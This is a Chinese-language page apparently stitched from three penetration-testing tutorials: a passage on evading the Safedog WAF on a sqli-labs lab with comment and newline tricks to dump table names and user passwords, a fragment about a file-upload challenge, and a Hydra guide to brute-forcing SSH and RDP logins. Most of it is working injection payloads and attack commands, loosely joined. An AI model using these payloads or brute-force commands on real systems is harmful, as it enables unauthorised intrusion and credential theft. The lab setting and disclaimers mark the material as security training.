by测试，我们用之前的测试结果，利用/*/!**/这一个充当空格，测试order by 3，然后看看能否成功？http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+完美，接下来测试联合注入。普通测试union select：http://192.168.209.131/Less-1/?id=1' union select --+union关键字测试，有回显http://192.168.209.131/Less-1/?id=1' union --+select关键字测试，有回显http://192.168.209.131/Less-1/?id=1' select --+已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能利用注释符绕过这一规则，我决定采用与之前相同的方法，利用Burp进行抓包，并加强fuzz测试中的参数进行暴力破解尝试。随便选择几个1002长度的响应结果这里我们选择payload，取/!*!/，构造注释符+payload，为/*/!*!/*/，插入union和select之间，绕过成功http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+这里还有一个思路，可以利用--+%0a这种格式通过换行继续执行，这里我们试一下看看：Tips：我的另一篇SQL注入文章有写过%0a的作用，后台回复【SQL注入】【sql】等关键字即可查看http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+ 相当于在普通sql语句中的 http://192.168.5.64/Less-1/?id=-1' union/*!--+/* select 1,database(),3*/ --+尝试报数据库http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+发现database()被拦截了我们把database的()给去掉http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+报错，此时就可以确定，安全狗应该是将database()进行检测然后我们继续使用注释符或者内联注释符看看吧：继续采用burp的fuzz测试：添加上变量扫出来4个/可以用，最简单的和之前一样，就不强调了，取注释符+payload，构造payloadhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),3 --+成功了！接下来一个一个关键词测试，group_concat()http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) --+没有拦截，继续fromhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from --+informtion_schema.tables，结果就不行了http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from informtion_schema.tables --+测试%0ahttp://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/测试查当前数据库的表名，前面已经测试过database()了http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() --+爆字段，测试到and，table_name都没拦截http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name --+直到table_name后面加了个=http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name=%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name= --+那么开始fuzz测试爆破随便娶一个payload和注释符进行拼接，如下http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20table_name/*/***/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and table_name/*/***/="users" --+回车%0a的绕过方式http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and /*!-- /* table_name*/="users" --+爆数据，已知表名为users，字段为id,username,password，并设置每个字段的分隔符为-，separator '-'http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(id,username,password separator '-') from /*!-- /* users*/ --+这里使用的是sqli第12关有安全狗防火墙，数据包如下uname=123")%20and%20updatexml(0x3a,concat(0x3a,(select%20user()),0x3a),0x3a)#&passwd=123&submit=Submit进行分块传输（这里用到一个插件）联系作者即可获取（备注【分块插件】）编码请求体后注意最后两行需要空着，但凡少一行都会造成请求不成功少一行之后，响应失败脏数据构造大型数据包比如但是如果没有足够大的数据包，也是不能够进行绕过的，比如数据包中post无限制，get可能会进行限制hex编码这里没有复现案例，仅供参考前提：没有过滤掉0x例如select * from users where name="admin"总结通过本文的详细解析和实验，我们深入了解了SQL注入攻击的基本原理及其在实际应用中的变种和绕过技巧。在面对如安全狗这样的WAF防护时，攻击者并非束手无策，而是可以通过多种方式绕过检测规则，成功实施SQL注入攻击。本文首先通过基础的SQL注入测试，验证了安全狗WAF对“and 1=1”等简单SQL注入模式的识别能力。随后，通过拆分和注释符的使用，我们发现WAF可能是通过识别特定模式（如“and”后紧跟空格和字符）来拦截SQL注入的。基于此发现，我们进一步尝试利用注释符、换行符等技术手段绕过WAF的检测，成功实施了更复杂的SQL注入攻击，包括联合查询注入，获取数据库表名、列名以及具体数据等。通过本文的学习，我们不仅能够加深对SQL注入攻击的理解，还能够掌握一些实用的绕过WAF防护的技巧。然而，需要强调的是，这些技巧仅用于合法的安全测试和教育目的，任何未经授权的SQL注入攻击都是非法的，并可能带来严重的法律后果。因此，我们呼吁广大开发人员和安全从业者，应持续关注和提升Web应用的安全性，共同维护网络空间的安全与稳定。免责声明：本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限，并对自己的行为负责。教程内容不保证绝对安全或成功，使用风险自负。
masscan扫描1.php能正常上传但是，文件内容过滤了大小写绕过，上传成功，没有对大小写进行过滤分析上传成功的文件名称名称由md5(文件全名+rand(1,1000))尝试访问这个文件发送到攻击器bp设置添加前缀图片名称进行hash添加后缀完整配置爆破查找跟目录有一个get it查看源代码
Hydra（海德拉）工具使用从0到1，爆破服务器密码，2024最新版Hydra简介Hydra又叫九头蛇，是一款由著名的黑客组织THC开发的开源暴力破解工具，支持大部分协议的在线密码破解，是网络安全·渗透测试必备的一款工具，目前支持的协议包括Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP。在kali系统中自带有hydra九头蛇工具开源地址（下载）：https://github.com/vanhauser-thc/thc-hydra常用参数列表 选项 描述 -R 恢复先前终止/崩溃的会话 -I 忽略现有的还原文件(不要等待10秒) -S 执行SSL连接 -s PORT 如果服务在不同的默认端口上，则在这里定义它 -l LOGIN or -L FILE 使用指定登录名登录，或者使用文件加载多个登录名 -p PASS or -P FILE 使用指定密码登录，或者使用文件加载多个密码 -x MIN:MAX:CHARSET 密码暴力生成, 使用’-x -h‘获取帮助 -y 暴力破解时忽略符号，见上文 -e nsr 可选选项，n：空密码试探，s：使用指定用户和密码试探，或“r”反向登录 -u 循环用户，而不是密码(有效!用-x表示) -C FILE 使用冒号分割格式，例如“登录名:密码”来代替 -L/-P 参数 -M FILE 要攻击的服务器列表，每行一个条目，':'指定端口 -o FILE 将找到的登录名/密码对写入FILE而不是输出 -b FORMAT 指定-o文件的格式:text(默认)，json, jsonv1 -f / -F 当找到login/pass对时退出(-M: -f per host， -f global) -t TASKS 同时运行的线程数，默认为16 -T TASKS run TASKS connects in parallel overall (for -M, default: 64) -w / -W TIME 设置最大超时的时间，单位秒，默认是30s -c TIME 所有线程上每次登录尝试的等待时间(强制执行-t 1) -4 / -6 使用IPv4(默认)/ IPv6地址(将always放在[]中，也放在-M中) -v / -V / -d 详细模式/每次尝试显示登录+通过/调试模式 -O 使用旧的SSL v2和v3 -K 不重做失败的尝试(适用于-M批量扫描) -q 不打印有关连接错误的消息 -U 服务模块使用详情 -m OPT 选项特定于模块，请参见-U output获取信息 -h 更多命令行选项(帮助) server 目标:DNS、IP或192.168.0.0/24(这个或-M选项) service 指定服务名，支持的服务和协议 OPT 一些服务模块支持额外输入(-U表示模块帮助) 在hydra的帮助命令中官方我们提供了一些示例如下hydra -l user -P passlist.txt FTP://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password FTP://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh这些命令基本用法用起来大体上很类似，我们以第一个命令为例，大体上可以分成三部分，即用户名，密码，和协议kali自带密码字典在kAIl中是自带字典的，可以通过/usr/share/wordlists/dirb路径进行查看，当然都是txt文件，也可以自己向里面添加。包含各种类型的字典，用于密码爆破、漏洞扫描等，他们的常用用途如下big.txt #大的字典 small.txt #小的字典 catala.txt #项目配置字典 common.txt #公共字典 euskera.txt #数据目录字典 extensions_common.txt #常用文件扩展名字典 indexes.txt #首页字典 mutations_common.txt #备份扩展名 spanish.txt #方法名或库目录 others #扩展目录，默认用户名等 stress #压力测试 vulns #漏洞测试Hydra密码生成器 参数 介绍 -x MIN:MAX:CHARSET 规则：MIN表示生成密码的最短长度；MAX表示生成密码的最长长度；CHARSET表示使用指定的字符生成密码，'a’表示所有的小写字母，'A’表示所有的大写字母,'1’表示所有的数字，对于其他字符，只需要添加在后面即可 -y 使用方式见-x，它表示charset的字符是实际的字符，而不是正则表达式 -x 3:5:a 生成的密码字典长度为3到5位，由所有的小写字母组成 -x 5:8:A1 生成的密码字典长度为5到8位，有所有的大写字母和数字组成 -x 5:5/%,.- 生成的密码字典长度为5位，只由’/ % , . -'这5种字符构成 -x 3:5:aA1 -y 生成的密码字典长度为3到5位，且只由’a A 1’这三种字符组成 -x 3:5:aA1.-+# 生成的密码字典长度为3到8位，由大小写字母+数字+.-+#进行组合。 爆破SSHhydra -L user.txt -P passwd.txt -o ssh.txt -vV -t ip ssh -s 22 #-L 指定用户字典文件 #-P 指定密码字典文件 #-o 把成功的输出到ssh.txt文件 #-vV 显示详细信息 #-s 指定其他端口 如果要修改默认22端口，可以使用 -s 参数先创建一个密码字典，手动编写密码（测试即可，真实渗透环境自行使用大型字典）创建一个用户字典​ 准备一台centos主机，查看ip地址，确保kali系统和centos系统处于同一网段下进行爆破hydra -L user.txt -P pwd.txt -vV -o ssh.txt -t 5 192.168.209.138 ssh破解成功，4个密码有效也可以在输出的ssh.txt查看用户密码爆破RDPlinux系统爆破成功，那么下面试试windows吧Tips：windows使用的远程协议是rdp协议，我们直接将上面的命令协议改为rdp即可hydra -L user.txt -P pwd.txt -vV -o ssh.txt -t 5 192.168.209.129 rdp爆破成功，尝试使用密码连接即可免责声明：使用本教程或工具，用户必须遵守所有适用的法律和法规，并且用户应自行承担所有风险和责任。原文连接：https://mp.weixin.qq.com/s/cQdbHED4fzfk1D-RHb6NVQ